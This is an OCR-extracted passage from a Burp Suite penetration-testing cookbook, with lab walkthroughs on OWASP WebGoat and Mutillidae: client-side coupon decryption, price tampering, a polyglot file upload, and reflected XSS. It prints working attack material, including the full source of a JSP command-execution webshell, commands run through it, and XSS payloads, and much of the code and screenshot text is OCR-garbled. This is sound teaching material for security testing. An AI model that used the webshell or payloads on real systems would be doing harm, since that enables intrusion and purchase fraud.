Injection Flaws Total to be charged to your credit card: $0.00
Denial of Service

Insecure Communication
Insecure Configuration - .

Insecure Storage Enter your credit card number: 4128 3214 0002 1999 |
Malicious Execution
Parameter Tampering
Session Management Flaws
Web Services

Admin Functions

Challenge

Shopping Cart
Shopping Cart Items -- To Buy
Now

Price Quantity Total

Dynex - Traditional Notebook Case $27.99 ”0 $0.00

Total before coupon is applied: $0.00

Enter your coupon code: |

Purchase

ASPEGT)

OWASP Foundation | Project WebGoat | Report Bug

Figure 7.34 — Insecure Client Storage lesson

5. Switch to Burp Suite’s Proxy | HT'TP history tab, click the Filter button, and ensure your
Filter by MIME type section includes Script. If Script is not checked, be sure to check it now:



x
Filter by status code
Other text 2xx [success]
C Images 3xx [redirection]
Flash 4xx [request error]
Other binary Sxx [server error]
Filter by annotation Filter by listener

| __| Show only commented items
Port | ‘
| Show only highlighted items

Cancel |
—
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Filter settings
(Z) | Filter by request type Filter by MIME type
Show only in-scope items HTML
("] Hide items without responses
Show only parameterized requests @ xmL
| CSS
Filter by search term Filter by file extension
‘ Show only: | asp,aspx,jsp,php
| Regex
| Case sensitive | Negative search G is.gifjpg,prgcss
Show all Hideall || Revertchanges
Figure 7.35 — Including Script in the traffic history
6.

Return to the Firefox browser with WebGoat and specify a quantity of 2 for the Hewlett-

Packard - Pavilion Notebook with Intel®° Centrino™ item:

STAGE 1: For this exercise, your mission is to discover a coupon code to receive an unintended

discount.

Shopping Cart

Shopping Cart Items -- To Buy . .

Now Price Quantity Total
Studio RTA - Laptop/Reading Cart with \C’
Tilting Surface - Cherry $69.99 $0.00
Dynex - Traditional Notebook Case $27.99 D $0.00
Hewlett-Packard - Pavilion Notebook _
with Intel® Centrino™ $1599.99 $3,199.98
3 - Year Performance Service Plan
$1000 and Over $299.99 o |s$0.00
Total before coupon is applied: $3,199.98
Total to be charged to your credit card: $3,199.98
Enter your credit card number: ’4128 3214 0002 1999 |
Enter your coupon code: ‘ |

Purchase

Figure 7.36 — Updating the cart with two Hewlett-Packard notebooks
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7. Switch back to Burp Suite’s Proxy | HTTP history tab and notice the JavaScript
(* . js) files associated with the change you made to the quantity. Note a script called
clientSideValidation. js. Make sure the status code is 200 and not 304 (not
modified). Only the 200 status code will show you the source code of the script:

Dashboard Target Intruder Repeater Collaborator Sequencer Decoder Comparer

Organizer Extensions Learn

Intercept | HTTP history | WebSockets history {5} Proxy settings

| Filter: Hiding out of scope items; hiding CSS and image content

# Host Method URL Params Edited  Status cod
1035  http://192.168.29.128 GET ebGoat/images/menu_images/1x1_open.aif 404
1020  hitp://192.168.29.128 GET /WebGoat/javascript/clientSideValidation.js 200
Request Response I
Pretty Raw Hex a n = Pretty Raw Hex Render

HTTP/1.1 200 OK

Date: Tue, 06 Jun 2023 17:44:59 GMT
Server: Apache-Coyote/l.1

Pragma: No-cache

Cache-Control: no-cache

Expires: Wed, 31 Dec 1969 19:00:00 EST
Accept-Ranges: bytes

ETag: W/"2946-1438572894000"

1 GET /WebGoat/javascript/clientSideValidation.js HTTP/L.1
Host: 192.168.29.128

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd; x&4;
rv:109.0) Gecko/20100101 Firefox/111.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Authorization: Basic Z3V1e3Q6Z3V1c3Q=

Connection: close Last-Modified: Mon, 03 Aug 2015 03:34:54 GMT
Referer: Content-Type: text/javascript

http: //192.16B.29. 128/WebGoat/attack ?Screen=119snenu=400 11 via: 1.1 127.0.1.1

10 Cookie: JSESSIONID=E452DCFD1ZF45302EFCEBE91873A4C4A 12 Vary: Accept-Encoding

11 13 Content-Length: 2846

12 14 Connection: close

W

SN TS
[ N T O X

w o
[
oW

1€ var coupons = ["nvojubmg”,
17 "emph”,

18 "sfwmjt"”,

19 "faopsc”,

20 "fopttEsq”,

21 "pxuttfsq”];

2F
24 function isValidCoupon(coupon) {

2 coupon = coupon.toUpperCase();

2 for(var i=0;

i<coupons. length;

i) |

2 decrypted = decrypt(coupons[i]):
2 if(coupon == decrypted){

2 ajaxFunctionicoupon)

3 return true;

}

3
®{§}|i |2 | search... 0 matches @@}\i > |Searrh...

Figure 7.37 — Source code of clientSideValidation.js script
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8. Selectthe clientSideValidation. js file and view its source code in the Response tab.

9. Note that coupon codes are hardcoded within the JavaScript file. However, used literally as
they are, they will not work:

/WebGoat/javascript/clientSideValidation.js

Response
Pretty Raw Hex Render

1 HTTP/1.1 200D OK

2 Date: Tue, DE Jun 2023 17:44:59 GMT

3 Serwver: Apache-Coyote/l.1

4 Pragma: No-cache

5 Cache-Control: no-cache

€ Expires: Wed, 31 Dec 1969 19:00:00 EST

7 Accept-Ranges: bytes

g ETag: W/"284€-1438572894000"

% Last-Modified: Mon, 03 Aug 2015 03:34:54 GMT
10 Content-Type: text/javascript
11 Via: 1.1 127.0.1.1
12 Vary: Accept-Encoding
13 Content-Length: 2946
14 Connection: close
15
[T¢ var coupons = ["nvojubmg”,

17 "emph"”,

18 "sfumjt"”,
19 "faopsc",
20 "foptreEsg”,
21 "pxuttfsqgT]:
227

Figure 7.38 - Hardcoded coupon codes

10. Keep looking at the source code—notice there is a decrypt function found in the JavaScript
file. We can test one of the coupon codes by sending it through this function. Let’s try this test
back in the Firefox browser:
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11.

12.

/WebGoat/javascript/clientSideValidation,js 200 3325
o=

Response
Pretty Raw Hex Render E
37
38
39 function|decrypt(code)|
40
41 code = code.toUpperCase();
42
43  alpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
44
45 caesar = '';
46
47 for (i = code.length ;

i>»=0;

i==)q
48
49 for (j = 0:

j<alpha. length;
I+

50
51 if(code.charAt(i) == alpha.chardAt(j)){
52
53 caesar = caesar + alpha.charAt((j+(alpha.length-1))%alpha.length);
54 }
55 }
56 }
57 return caesar;

3 |y

Figure 7.39 — Decrypting the JavaScript function

In the browser, bring up the developer tools (F12) and go to the Console tab. Paste into the
console (look for the >> prompt) the following command:

decrypt ('emph') ;

You may use this command to call the decrypt function on any of the coupon codes declared
within the array:
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Introduction
General
Access Control Flaws

AJAX Security STAGE 1: For this exercise, your mission is to
Same Origin Policy Protection discount.

LAB: DOM-Based cross-site
scripting

LAB: Client Side Filtering
DOM Injection

XML Injection

JSON Injection

Solution Videos

* Keep looking for the coupon code.

Shopping Cart Items -- To Buy

Now
Silent Transactions Attacks Studio RTA - Laptop/Reading Cart with
Dangerous Use of Eval Tilting Surface - Cherry

Insecure Client Storage
Authentication Flaws

Dynex - Traditional Notebook Case

Buffer Overflows Hewlett-Packard - Pavilion Notebook
Code Quality with Intel® Centrino™
Concurrency 3 - Year Performance Service Plan

Cross-Site Scripting (XSS) $1000 and Over
Improper Error Handling
Injection Flaws

Denial of Service Total before coupon is applied:
Insecure Communication

[@ {1 Inspector [ Console (O Debugger {} Style Editor (S Performance

W ¢ Filter output

decrypt('emph');

Figure 7.40 — Calling the decrypt function on coupon codes

13. After pressing Enter, you will see the coupon code is decrypted to the word GOLD:

¥ {3 Inspector Console

W § Filter output
>> decrypt('emph');
& "GoLD"

Figure 7.41 - Revealing the coupon code

14. Place the word GOLD within the Enter your coupon code box. Notice the amount is now much
less. Next, click the Purchase button:
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STAGE 1: For this exercise, your mission is to discover a coupon code to receive an unintended
discount.

* Keep looking for the coupon code.

Shopping Cart

Shopping Car;:::ms = To Buy Price Quantity Total
Studio RTA - Laptop/Reading Cart with ’7
Tilting Surface - Cherry $69.99 0 J $0.00
Dynex - Traditional Notebook Case $27.99 0 $0.00
Hewlett-Packard - Pavilion Notebook
with Intel® Centrino™ $1599.99 2 $3,199.98
3 - Year Performance Service Plan
$1000 and Over $299.99 0 $0.00
Total before coupon is applied: $3,199.98
Total to be charged to your credit card: $1,599.99
Enter your credit card number: |4128 3214 0002 1999
Enter your coupon code: ||GOLD I

| Purchase |

Figure 7.42 - Placing GOLD in the textbox to apply to the purchase

15. We receive confirmation regarding stage 1 completion. Let’s now try to get the purchase for free:

STAGE 2: Now, try to get your entire order for free.

* Stage 1 completed.

Figure 7.43 — Stage 1 completed

16. Switch to Burp Suite’s Proxy | Intercept tab and turn the interceptor ON with the Intercept
is on button.

17. Return to Firefox and press the Purchase button. While the request is paused, modify the
$1,599.99 amount to $0.00. Look for the GRANDTOT parameter to help you find the grand total
to change. Use the Inspector section on the right-hand side to help you change the amount
by highlighting the value after the GRANDTOT=, as shown in the following screenshot. Click
Apply changes when you're ready to apply the manipulation:
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n Burp Project |Intruder Repeater Window Help  Burp Suite Professional v2023.5.3 - second_edition_3.burp - licensed to Sunny We... — a X
Dashboard Target Intruder Rep Collab Seq Decoder Comparer Logger @ Settings
Organizer Extensions Learn

HTTP history WebSockets history {5} Proxy settings

ﬂ Request to http://192.168.29.128:80

Action || Open browser Comment this item | W HTPA @

Y B W = o
Pretty Raw Hex Inspector ™ n T -8 X
1 POST /WebGoat/attack?Screen=119&menu=400 HTTP/1.1
2 Host: 192.1£8.25.128

Forward | Drop

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Selection 13 (Oxd) A~
Firefox/111.0

4 Accept: Selected text
text/htul, application/xhtml+xml,application/xml;q=0.9, inage/avif, image/webp,*/*;q=0.8

5 Accept-Language: en-US,en;q=0.5 %240.0
& Accept-Encoding: gzip, deflate

7 Content-Type: application/x-www-form-urlencoded
& Content-Length: 243

% Origin: http://192.168.29.128 Decoded from: URL enceding v @
10 Authorization: Basic Z3V1c3Q6Z23Vlc3Q=
11 Connection: close $0.0]

12 Referer: http://192.168.29,128/WebGoat/attack?Screen=11%menu=400

13 Cookie: JSESSIONID=E452DCFD12F45302EFCBB891873A4C4A [
14 Upgrade-Insecure-Requests: 1 Cancel | Apply changes
15 _

16 PRC1=42459. 954QTYL=04TOTL=4240. 00PRC2=4242. 9 QTY2=04TOT2=4240. 00 PRC3=4241599. 984QTY3 ]
0T32%243%°C199. 984 PRCA=%24299. 8950TY4=0sT0OT4=4240. 00&SUBTOT=%243%2C199 . 982 GRANDTOT= Request attributes 2 v
f1e1d"-41”B+3"14+EIDG’_‘+J.5EG&Eleldl-GDLD&SUBHIT-Pu:che.:e

Reauest auery parameters 2 v

Figure 7.44 — Modifying the grand total

18. Click the Forward button. Now, turn the interceptor off by clicking the toggle button to
Intercept is off.

19. Return to the browser and click Purchase. You should receive a congratulatory message. Note
the total charged is now $0.00:
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Choose another language:  English | Logout §#

OWASP WebGoat v5.4

Insecure Client Storage

Introduction

General

Access Control Flaws
AJAX Security

Same Origin Policy Protection
LAB: DOM-Based cross-site
scripting

LAB: Client Side Filtering
DOM Injection

XML Injection

JSON Injection

Silent Transactions Attacks

Dangerous Use of Eval

b Insecure Client Storage

Authentication Flaws
Buffer Overflows

Code Quality

Concurrency

Cross-Site Scripting (XSS)
Improper Error Handling
Injection Flaws

Denial of Service

Insecure Communication
Insecure Configuration
Insecure Storage
Malicious Execution
Parameter Tampering
Session Management Flaws
Web Services

Admin Functions
Challenge

How it works...

Solution Videos Restart this Lesson

STAGE 2: Now, try to get your entire order for free.

* Congratulations. You have successfully completed this lesson.

Shopping Cart
Shopping Cart Items -- To Buy
Now

Price Quantity Total
Studio RTA - Laptop/Reading Cart with D

Tilting Surface - Cherry $69.99 $0.00
Dynex - Traditional Notebook Case $27.99 0 $0.00
Hewlett-Packard - Pavilion Notebook

with Intel® Centrino™ $1599.99 $3,199.98

3 - Year Performance Service Plan

$1000 and Over $299'99 0 $D’00

Total before coupon is applied: $3,199.98

Total to be charged to your credit card: $0.00

Enter your credit card number: ’4]_28 3214 0002 1999 |

Enter your coupon code: GOLD |
Purchase

Figure 7.45 — Congratulatory message

Due to a lack of server-side checking for both the coupon code and the grand total amount prior to
charging the credit card, we can circumvent the prices assigned and set our own prices instead.

Uploading malicious files — polyglots

Polyglot is a term defined as something that uses several languages. If we carry this concept into
hacking, it means the creation of an attack vector by using different languages as execution points. For
example, attackers can construct valid images and embed JavaScript. The placement of the JavaScript
payload is usually in the comments section of an image. Once the image is loaded in a browser, the
XSS content may execute, depending upon the strictness of the content type declared by the web
server and the interpretation of the content type by the browser. In this recipe, we will use a polyglot
to upload a webshell disguised as an image.
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Getting ready

Using the OWASP WebGoat file upload functionality, we will write a small Java Server Pages (JSP)
webshell and upload it to the application, disguised as an image.

We will use some popular source code for the JSP webshell and save it in a file called poly. jsp.

Ensure the owaspbwa VM is running. Select the OWASP WebGoat application from the initial
landing page of the VM. The landing page will be configured to an IP address specific to your machine.

How to do it...

1. After you've clicked the OWASP WebGoat link, you will be prompted for login credentials.
Use these credentials—username: guest; password: guest.

2. After authentication, click the Start WebGoat button to access the application exercises.

3. Click Malicious Execution | Malicious File Execution from the left-hand menu. You are
presented with a file upload functionality page. The instructions state that only images are
allowed for upload:

Internationalization is not available for this lesson

Logout 0

Malicious File Execution

OWASP WebGoat v5.4

Introduction
General
Access Control Flaws

Solution Videos Restart this Lesson

AJAX Security
Authentication Flaws
Buffer Overflows

Code Quality
Concurrency

Cross-Site Scripting (XSS)
Improper Error Handling
Injection Flaws

Denial of Service
Insecure Communication
Insecure Configuration

alicious Execution

Malicious File Execution

Parameter Tampering
Session Management Flaws
Web Services

Admin Functions

Challenge

The form below allows you to upload an image which will be displayed on this page. Features like
this are often found on web based discussion boards and social networking sites. This feature is
vulnerable to Malicious File Execution.

In order to pass this lesson, upload and run a malicious file. In order to prove that your file can
execute, it should create another file named:

Jvar/lib/tomcate/webapps/WebGoat/mfe_target/guest.txt

Once you have created this file, you will pass the lesson.

WebGoat Image Storage
Your current image:

No image uploaded

Upload a new image: Browse... No file selected. Start Upload

Grestenly SEHS‘E ANDIANT

INTELLIGENT INFORMATION SECURITY

OWASP Foundation | Project WebGoat | Report Bug

Figure 7.46 — Malicious File Execution lesson
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4. Using Notepad or your favorite text editor, create a new file called poly . jsp and write the
following code within the file:

<%@ page import="java.util.*,java.io.*"%>

)
<3

if (request.getParameter ("cmd") != null) {
out.println ("Webshell cmd: " + request.getParameter ("cmd")
+ "<br />");

Process p = Runtime.getRuntime () .exec (request.
getParameter ("cmd") ) ;

OutputStream os = p.getOutputStream() ;
InputStream in = p.getInputStream() ;
DataInputStream dis = new DataInputStream(in) ;
String disr = dis.readLine() ;

while ( disr != null ) {
out.println(disr) ;
disr = dis.readLine() ;

—

o°
\%

5. Return to the Malicious File Execution page and browse to the poly . j sp file you created
on your local system, and then click the Start Upload button:

WebGoat Image Storage

Your current image:|:|
Upload a new image: poly.jsp Start Upload

Createdby ‘iﬂm;“ﬂ ANDIANT

IMTCLLIGENT INFORMATION SCOUWRITY

OWASP Foundation | Project WebGoat | Report Bug
Figure 7.47 — Uploading your webshell

The location of each upload can be determined by right-clicking the broken image displayed
(that is, Your current image) on the page in the browser and selecting Copy image link. Then,
open a new tab, pasting the link from your clipboard into the new tab.

6. poly.jspisa]SP file that is executable on this web server. You can play with your brand new
shiny webshell by opening a new tab and navigating to the following URL: http://<YOUR
VM_IP>/WebGoat/uploads/poly.jsp?cmd=1s.
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Notice how the 1s command gives a listing of the directory contents. Let’s use this webshell
to help us solve the lab:

@ 0 Malicious File Execution x 0 192.168.29.128/WebGoat/uploz X

&« C O & 192.168.29.1EBMebGoatfuploads;’poly.jsp

Command: Is
common conf db derby.log logs server shared webapps work

Figure 7.48 — Opening a new tab to execute your webshell

7. To solve the lab, we need to follow the instructions and create a guest . txt file in the path
provided (/var/lib/tomcaté/webapps/WebGoat/mfe target/):

In order to pass this lesson, upload and run a malicious file. In order to prove that your file can
execute, it should create another file named:

I Svar/lib/tomcats/webapps/WebGoat/mfe_target/guest.txt I

Figure 7.49 — Instructions for solving the lab

8. Return to the tab with your webshell and give the following command for the cmd parameter:

mkdir%20-p%20/var/lib/tomcat6/webapps/WebGoat/mfe

target; touch%20/var/lib/tomcat6/webapps/WebGoat/mfe target/
guest. txt
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9. Return to the first tab of the lesson and reload the page. A success message should appear:

OWASP WebGoat v5.4

Malicious File Execution

Introduction

General

Access Control Flaws
AJAX Security
Authentication Flaws
Buffer Overflows

Code Quality
Concurrency

Cross-Site Scripting (XSS)
Improper Error Handling
Injection Flaws

Denial of Service
Insecure Communication
Insecure Configuration
Insecure Storage
Malicious Execution

#

Parameter Tampering
Session Management Flaws
Web Services

Admin Functions
Challenge

Malicious File Execution

Solution Videos Restart this Lesson

The form below allows you to upload an image which will be displayed on this page. Features like
this are often found on web based discussion boards and social networking sites. This feature is
vulnerable to Malicious File Execution.

In order to pass this lesson, upload and run a malicious file. In order to prove that your file can
execute, it should create another file named:

/var/lib/tomcat6/webapps/WebGoat/mfe_target/guest.txt

Once you have created this file, you will pass the lesson.
* Congratulations. You have successfully completed this lesson.

WebGoat Image Storage

Your current image:

Upload a new image: Browse... No file selected. Start Upload

My %“m;;kﬂ ANDIANT

INTELLIGENT INFORMATION GECURITY

OWASP Foundation | Project WebGoat | Report Bug

Figure 7.50 — Congratulatory message
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How it works...

Due to unrestricted file upload vulnerability, we can upload a malicious file such as a polyglot without
detection from the web server. Many sites allow images to be uploaded, so developers must ensure such
images do not carry malicious payloads within them. Protection in this area can be in the form of magic
number checks or special proxy servers screening all uploads against anti-virus engines, and so on.

There’s more...

To read more about polyglots, please refer to the following PortSwigger blog:

https://portswigger.net/blog/bypassing-csp-using-polyglot-jpegs


https://portswigger.net/blog/bypassing-csp-using-polyglot-jpegs
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Evaluating Input
Validation Checks

Failure to validate any input received from the client before using it in the application code is one of
the most common security vulnerabilities found in web applications. This flaw is the source of major
security issues, such as SQL injection and Cross-Site Scripting (XSS). Web penetration testers must
evaluate and determine whether any input is reflected back or executed upon by the application. We'll
learn how to use Burp Suite to perform such tests.

In this chapter, we will cover the following recipes:
o Testing for reflected cross-site scripting
o Testing for stored cross-site scripting
o Testing for HTTP verb tampering
o Testing for HTTP parameter pollution
o Testing for SQL injection

o Testing for command injection

Technical requirements
To complete the recipes in this chapter, you will need the following:

o OWASP Broken Web Applications (VM)
o  OWASP Mutillidae link

o Burp Suite Proxy Community or Professional (https://portswigger.net/burp/)


https://portswigger.net/burp/
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Testing for reflected cross-site scripting

Reflected cross-site scripting occurs when malicious JavaScript is injected into an input field, parameter,
or header and, after returning from the web server, is executed within the browser. Reflected XSS
occurs when the execution of JavaScript reflects in the browser only and is not a permanent part of
the web page. Penetration testers need to test all client values sent to the web server to determine
whether XSS is possible.

Getting ready

Using OWASP Mutillidae II, let’s determine whether the application protects against reflected XSS.

How to do it...

1. From the OWASP Mutillidae I menu, select Login by navigating to OWASP 2013 | A3 - Cross
Site Scripting (XSS) | Reflected (First Order) | Pen Test Tool Lookup:

®% OWASP Mutillidae Il: Web Pwn in Mass Production

Version: 2.6.24  Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript K1dd1e) Not Logged In

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View Log View Captured

OWASP 2013 A1l - Injection (SQL)
A1l - Injection (Other)

Pen Test Tool Lookup

OWASP 2010

A2 - Broken Authentication and
OWASP 2007 Session Management ¥ Help Me!

Web Services A3 - Cross Site Scripting (XSS) » | Reflected (First Order) » | DNS Lookup

A4 - Insecure Direct Object Persistent (Second Order) ¥ | Pen Test Tool Lookup

Figure 8.1 — Multillidae landing page

2. Select a tool from the drop-down listing and click the Lookup Tool button. Any value from
the drop-down list will work for this recipe:
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<§ Back Help Me!

$ Hints ]

( Pen Test Tool Lookup )
[

AIAX Switch to AJAX Version of page
4_-/

—Pen Test Tools

[ Select Pen Test Tool ]

Pen Test Tool | Skipfish -

Lookup Tool

Figure 8.2 - Pentest tool vote

3. Switch to Burp Suite Proxy | HTTP history and find the HT'TP message you just created
by selecting the lookup tool. Note that in the request is a parameter called Tool1ID. In the
following example, the value is 3:

Dashboard Target Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions Learn @ Sett
Intercept HTTP history WebSockets history G} Proxy settings
‘ Filter: Hiding CSS, image and general binary content
# Host —Method LIBI Params  Edited  Statuscode Length MIMEtype Extension Title Comm
23 http://192.168.29.128 ' POST  /mutillidae/ ge=pen-test-tool-looku """l v 200 50723  HTML php
a-=-
Request Response
Pretty | Hex W = | pretty  Raw Render B =
1 POST /mutillidae/index.php?page=pen-test-tool-lookup.php HTTP/1.1 <a class="hint-header” href="
2 Host: 192.1£8.25.128 level-l-hints-page-wrapper.php?l
3 Content-Length: 58 evellHintIncludeFile=2€" title="
4 Cache-Control: max-age=0 Click to open JavaScript Object
5 Upgrade-Insecure-Requests: 1 Notation (JSO0N) Injection hint
€ Origin: http://192.168.28.128 in new Fah" ca:qet-"_hl«?lﬂt" 124
7 Content-Type: application/x-www-form-urlencoded JavaScript Object Notation
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; WinE4; x64) AppleWebKit/537.3€ (JSON) Injection
(KHTML, like Gecko) Chrome/114.0.5735.110 Safari/537.36 </a>
9 Accept: </div>
text/html  application/xhtml+xml,application/xml;q=0.9, inage/avif, inage/webp,im </div>
age/apng,*/*;q=0.8,application/signed-exchange ;v=b3;q=0.7 1021 <!-- BEGIN HTML OUTPUT -->
10 Referer: 1022 <script type="text/javascript”>
http://192.166.29.128/mutillidae/index. php?page=pen-test-tool-lookup. php 1023
11 Accept-Encoding: gzip, deflate 1024 var gUseSafeJSONParser = "FALSE";
12 Accept-Language: en-US,en;q=0.9,en-CA;q=0.8 1025 var gUseJavaScriptValidation =
13 Cookie: showhints=1; acopendivids=swingset,jotto,phpbbZ,redmnine; "FALSE";
acgroupswithpersist=nada; PHPSESSID=c7qsh5811vgdd85s5oeubieg3i2 1026 var gDisplayError = "FALSE";
14 Connection: close 1027 var gPenTes,

15

ToolID=3gpen-test-tool-lookup-php-submit-button=Lookup+Tool "penTestTools": [{"tool_id"
1_name”:"Skipfish”,"phase_to_use":

iscovery”,”tool_type”:"Scanner”,"com
ment"”:"Agressive. Fast. Uses wordlis
ts to brute force directories.”}]})}'

Figure 8.3 — Proxy HTTP history view
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4. Flip over to the Response tab and note the JSON returned from the request. You can find the
JavaScript function in the response more easily by typing PenTest in the search box at the
bottom. Note that tool id is reflected in a response parameter called tool IDRequested.
This may be an attack vector for XSS:

Response
Pretty Raw Hex

1021
1022
1023
1024
1025
1026

1027

1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038

= =
8 w

<img src="images/link-icon-l6-16.png"” style="margin-right: Spx:" />
<a class="hint-header” href="
level-l-hints-page-wrapper.php?levellHintIncludeFile=26" title="Click to open
JavaScript Object Notation (JSON) Injection hint in new tab”™ target="_blank" />
JavaScript Object Notation (JSON) Injection
<fa>
</div>

</div>
<!-- BEGIN HTML OUTPUT -->
<script type="text/javascript™>

var gUseSafedS0NParser = "FALSE";
var gUseJavaScriptValidation = "FALSE";
var gDisplayError = "FALSE";
wvar gPenTestToolsJSONScring =
'{"query”: "penTestTools”: [["tool id™:™3","tool name":"Skipfi
sh”,"phase_to_use™:"Discovery", tool_type”:"Scanner” “comment™:"Agressive. Fast. Uses w
ordlists to brute force directories.”™}]}}’
var addRow = function(pRowOfData){
try(

var lDocRoot = window.document;

var 1TBody = lDocRoot.getElementByld("idDisplayTableBody");

var 1TR = 1DocRoot.createElement(”tr");

//tool_id, tool_name, phase_to_use, tool_type, comment

wvar 1ToolIDTD = lDocRoot.createElement("td™);
var lToolNameTD = lDocRoot.createElement(”td”);
var 1PhaseTD = lDocRoot.createElement("td”);

@@ € > |p=ntest

14 matches

Figure 8.4 — toollIDRequested and tool_id

5. Send the request over to Repeater. Add an XSS payload within the Too1ID parameter immediately
following the equals sign. Use a simple payload such as <script>alert (1) ; </scripts>:
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Burp Project Intruder Repeater Window Help Burp Suite Professional v2
Dashboard Target Proxy Intruder | Repeater Collaborator Sequencer Decoder

1

x_ +

ERGC o

Request

Pretty Raw Hex =] n =

C N PR S

1 e otn

w

6.

POST /mutillidae/index.php?page=pen-test-tool-lookup.php HTTP/1.1

Host: 192.1668.29.128

Content-Length: 59

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://192.16B8.29.128

Content-Type: application/x-ww-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinE4; xE4) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/114.0.5735.110 Safari/537.36

Accept:

text/htnl ,application/xhtml+xml,application/xml ;q=0.9,image/avif, image /webp, image/ap
ng,*/*;q=0.8,application/signed-exchange ;v=b3;q=0.7

Referer: http://192.168.29.128/mutillidae/index.php?page=pen-test-tool-lookup.php
Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9,en-CA;q=0.8

Cookie: showhints=1; acopendivids=swingset,jotto,phpbbl,redmine; acgroupswithpersist
=nada; PHPSES5ID=c7qsh58l1lvgdd8550eucieg3il

Connection: close

€ ToolIDg<script>alert(l);</script>gpen-test-tool-lookup-php-submit-button=Lookup+Tool

Figure 8.5 — XSS payload in the ToollD parameter

Click Send and examine the returned JSON response, searching for PenTest. Notice our
payload is returned exactly as input. It looks like the developer is not sanitizing any of the input
data before using it. Let’s exploit the flaw:
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IR

7. Since we are working with JSON instead of HTML, we will need to adjust the payload to
match the structure of the JSON returned. We will fool the JSON into thinking the payload
is legitimate. We will modify the original <script>alert (1) ; </script> payload to

<.script>a|ert(1)|

LAY gnia gatToolglSONStrine o

"{"query”: ["toollDRecuested”: "<script>
alert(l) ;</script>", "penTestTools":

1Yy

var addRow = function(pRowlfData) {

try{

var lDocRoot = window. document;

var 1TBody =

1DocPRoot. getElementById("idDisplayTableB
ody”);

var 1TR = lDocRoot.createElement("tr"):

//tool_id, tool _name, phase_to_use,
tool_type, comment

var 1lToolIDTD =
1DocRoot.createElement ("td™) ;
var lToolNameTD =

1DocRoot. createElement ("td™) ;
var lPhaseTD =

1DocRoot. createElement ("td™) ;

1 match

Figure 8.6 — Payload reflected in response

"}} )%3balert (1) %3b// instead.

8. Switch to the Burp Suite Proxy | Intercept tab. Turn Interceptor on with the Intercept is
on button.

9. Return to Firefox, select another tool from the drop-down list, and click the Lookup Tool button.

10. While Proxy | Interceptor has the request paused, insert the new payload of " } }

) %$3balert (1) $3b// immediately after the ToolID number:
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Burp Project Intruder Repeater Window Help  Burp Suite Professional v2023.5.3 - second_edition_4.burp - licensed
Dashboard Target Intruder Repeater Collaborator Sequencer Decoder Comp:

Extensions Learn

Intercept | HTTP history WebSockets history {C) Proxy settings

/7 Request to http://192.168.29.128:30

Forward Drop Intercept is on Action Open browser

Prett Raw Hex &= \n

1 POST /mutillidae/index.php?page=pen-test-tool-lookup.php HTTP/1l.1

2 Host: 192.168.29.128

3 Content-Length: 59

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: hctp://192.168.29.128

Content-Type: application/x-wwnw-form-urlencoded

2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingé4; x£4) AppleWebKit/537.36 (KHTML, like Gecko)

Chrome/114.0.5735.110 Safari/537.36

Accept:

text/htnl, application/xhtml+xml,application/xml;q=0.9, inage/avif, inage /webp, image /apng, */*;q=0.8,

application/signed-exchange;v=b3;q=0.7

10 Referer: http://192.168.29.128/mutillidae/index.php?page=pen-test-tool-lookup.php

11 Accept-Encoding: gzip, deflate

12 Accept-Language: en-US,en;q=0.9,en-CA;q=0.8

13 Cookie: showhints=l; acopendivids=swingset,jotto,phpbbl,rednine; acgroupswithpersist=nada;
PHPSES5ID=c7qsh5811vg4d8550eucieg3il

14 Connection: close

sha

wn

1,

o

ToolIDs"}} J%3bale:t:l)’¢3hN*en—test-tool-1ooltup-php-subnit-button=Lookup+Tool

Figure 8.7 — Modified XSS payload for JSON

11. Click the Forward button. Turn Interceptor off by toggling to Intercept is off.

12. Return to the Firefox browser and see the pop-up alert box displayed. You've successfully shown
a proof of concept (PoC) for the reflected XSS vulnerability:

(l: 192.168.29.128/mutillidae/index. X -+ e B = -
<« X A Notsecure | 192.168.29.128/mutillidae/index.php?page=pen-test-tool-lo.. = v kJ ®* &K O & ¢
192.168.29.128 says P =
Q}@ OWAS roduction
1
Version: 2.6.24 S e) Not Logged In

Home Login/Register

OWASP 2013

Figure 8.8 — Evidence of XSS vulnerability
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How it works...

Due to inadequate input cleansing prior to using data received from the client, in this case, the
penetration testing tool’s identifier is reflected in the response as it is received from the client, allowing
an attack vector for an XSS attack.

Testing for stored cross-site scripting

Stored cross-site scripting occurs when malicious JavaScript is injected into an input field, parameter,
or header and, after returning from the web server, is executed within the browser and becomes a
permanent part of the page. Stored XSS occurs when the malicious JavaScript is stored in the database
and is used later to populate the display of a web page. Penetration testers need to test all client values
sent to the web server to determine whether XSS is possible.

Getting ready

Using OWASP Mutillidae II, let’s determine whether the application protects against stored
cross-site scripting.

How to do it...

1. From the OWASP Mutillidae II menu, select Login by navigating to OWASP 2013 | A3 - Cross
Site Scripting (XSS) | Persistent (First Order) | Add to your blog:

®% OWASP Mutillidae Il: Web Pwn in Mass Production

Version: 2.6.24

Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript K1dd1e)

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View Log View Captured

Not Logged In

OWASP 2013 Al - Injection (SQL)

Pen Test Tool Lookup

OWASP 2010 A1 - Injection (Other)

A2 - Broken Authentication and
OWASP 2007 Session Management ¥ Help Me!

Web Services A3 - Cross Site Scripting (XSS) » | Reflected (First Order)
A4 - Insecure Direct Object » | Persistent (Second Order) » | Add to your blog

Figure 8.9 — Navigation to the stored XSS lesson
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2. Place some verbiage into the text area. Before clicking the Save Blog Entry button, let’s try a
payload with the entry:

@ OWASP Mutillidae Il: Web Pwn in Mass
Production

Version: 2.6.24  Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript K1dd1e) Not Logged In

